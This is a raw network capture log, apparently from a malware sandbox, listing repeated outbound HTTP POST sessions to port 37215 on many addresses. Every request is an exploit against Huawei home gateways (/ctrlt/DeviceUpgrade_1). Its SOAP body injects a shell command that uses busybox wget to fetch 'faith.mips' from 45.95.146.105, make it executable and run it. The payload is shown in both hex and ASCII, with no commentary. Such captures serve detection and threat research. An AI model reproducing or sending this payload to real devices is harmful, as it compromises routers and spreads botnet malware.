Jan 1, 2024 12:53:44.124607086 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:53:45.980653048 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:53:49.820533037 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:53:57.244529009 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:54:12.092705965 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:54:42.044523001 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.13	43294	156.77.130.255	37215

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2024 12:53:48.743321896 CET	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.13	58258	156.241.101.6	37215

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2024 12:53:51.185771942 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.13	51416	156.241.67.15	37215

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2024 12:53:51.494929075 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.13	50728	156.224.12.97	37215

Timestamp	Bytes transferred	Direction	Data
